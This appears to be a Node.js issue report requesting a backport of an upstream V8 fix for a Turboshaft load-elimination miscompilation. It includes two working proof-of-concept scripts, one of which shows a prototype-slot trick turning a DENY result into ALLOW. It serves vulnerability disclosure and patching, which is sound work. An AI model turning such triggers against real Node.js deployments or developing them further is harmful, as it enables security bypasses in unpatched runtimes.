#66083·Node.js

V8 Turboshaft LLE alias bug (554421904) not backported to V8 14.6 (Node.js v26)

Author: thawkhantCreated Sep 17, 2026Updated Sep 17, 2026

Summary

V8 bug 554421904"Turboshaft LLE: non-writing calls can create aliases" — is fixed upstream in V8 15.3 / Chrome 153 by commit b44239fe. The fix is not present in the V8 14.6 snapshot shipped by current stable Node.js v26.3.0.

An optimized function returns a wrong value (undefined instead of 1.1) because Turboshaft's Late Load Elimination (LLE) marks a BoundFunction invocation as a non-writing call, but the call creates a hidden alias to an input array and writes through that alias. LLE does not invalidate its tracked state, so a subsequent valid store (set7) is eliminated — the returned array slot stays undefined.

This is a backport request: please apply b44239fe to Node.js's V8 14.6 line, or confirm it is already scheduled.


Environment

Node.js v26.3.0 (current stable)
V8 14.6.202.34-node.20
Platform macOS arm64 (compiler-level bug — platform independent)
Reproduced 5/5 fresh processes
Fixed in Chrome 153 / V8 15.3 (commit b44239fe) — absent in Node.js v26

Steps to Reproduce

node --allow-natives-syntax v8-lle-poc.js

Actual output (wrong) on Node.js v26.3.0:

Optimization status: 65 | Turboshaft(64): true | TurboFan(2): false | Maglev(16): false
staleArray[0]: 1.1  | expected: 1.1  | OK
staleArray[7]: undefined | expected: 1.1  | WRONG!
target.length: 0    | expected: 0    | OK
RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store
  V8: 14.6.202.34-node.20 | Node: v26.3.0

Expected output (patched build):

staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: 1.1 | expected: 1.1 | OK
target.length: 0   | expected: 0   | OK
RESULT: NOT TRIGGERED on this build

PoC #1 — Correctness (v8-lle-poc.js)

// V8 Turboshaft LLE alias bug (V8 554421904) — NOT backported to V8 14.6 (Node.js v26)
// Upstream fix: commit b44239fe (V8 15.3 / Chrome 153)
// Run: node --allow-natives-syntax v8-lle-poc.js
'use strict';

function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
  const receiver = rest[32765] ? rest[32766] : doubleArray;
  set0(receiver, 1.1);
}
function victim(payload) {
  const staleArray = Array(8);
  const target = [];
  if (!trigger) staleArray.x = 0;
  boundCarrier(trigger, staleArray);
  set7(staleArray, payload);
  return { target, staleArray };
}

%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);

const doubleArray = Array(8);
set0(doubleArray, 1.1);
set7(doubleArray, 0);
set0(Array(8), 0);

const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0;
victim(0);
trigger = 1;
boundCarrier(trigger, doubleArray);
trigger = 0;
victim(0);

%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const { target, staleArray } = victim(1.1);

const status = %GetOptimizationStatus(victim);
console.log('Optimization status:', status, '| Turboshaft(64):', !!(status & 64));

const a0 = staleArray[0];
const a7 = staleArray[7];
console.log('staleArray[0]:', a0, '| expected: 1.1 |', a0 === 1.1 ? 'OK' : 'WRONG!');
console.log('staleArray[7]:', a7, '| expected: 1.1 |', a7 === 1.1 ? 'OK' : 'WRONG!');

if (a0 === 1.1 && a7 === 1.1) {
  console.log('RESULT: NOT TRIGGERED on this build');
} else {
  console.log('RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store');
  console.log('  V8:', process.versions.v8, '| Node:', process.version);
}

PoC #2 — Escalation (v8-lle-escalation.js)

'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
  const receiver = rest[32765] ? rest[32766] : doubleArray;
  set0(receiver, 1.1);
}
function victim(payload) {
  const staleArray = Array(8);
  const target = [];
  if (!trigger) staleArray.x = 0;
  boundCarrier(trigger, staleArray);
  set7(staleArray, payload);      // DENY write — LLE target
  return staleArray[7];           // own property if written, else prototype
}

%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);

const doubleArray = Array(8);
set0(doubleArray, 1.1); set7(doubleArray, 0); set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0; victim(0);
trigger = 1; boundCarrier(trigger, doubleArray);
trigger = 0; victim(0);

Array.prototype[7] = 'ALLOW';   // attacker-controlled prototype slot

%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const r = victim(0);   // payload 0 = DENY

console.log('status:', %GetOptimizationStatus(victim), '| returned arr[7]:', r);
console.log(r === 0 ? 'DENY OK (secure)' : 'STALE ALLOW via prototype — security decision on wrong value!');
delete Array.prototype[7];

Confirmed output (Node.js v26.3.0):

status: 65 | returned arr[7]: ALLOW
STALE ALLOW via prototype — security decision on wrong value!

Note: the escalation requires attacker-controlled JS execution. It demonstrates the maximal impact class of the miscompilation only, not a standalone boundary-crossing claim.


Root Cause

  • boundCarrier = carrier.bind(null, ...Array(32765).fill(0)) — 32,765 bound args + 2 call args = 32,767 (kMaxArguments)
  • Turboshaft LLE marks the BoundFunction invocation as !can_write() because it only allocates new memory for argument marshalling
  • Inside carrier, rest[32766] is staleArray — the call created an alias to the input, and set0 writes through it
  • LLE does not invalidate staleArray's state, so set7(staleArray, payload) is eliminated
  • Result: staleArray[7] stays undefined

Upstream commit message (b44239fe) confirms:

"The can_write effect really means 'can write to pre-existing memory'... A builtin that allocates memory and writes to it can be marked as !can_write(), but it could still create aliases to its inputs, which we do need to invalidate."


Suggested Fix

Backport V8 commit b44239fe Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8 "[M153] [turboshaft] LLE: non-writing calls can create aliases" — Fixed: 554421904

References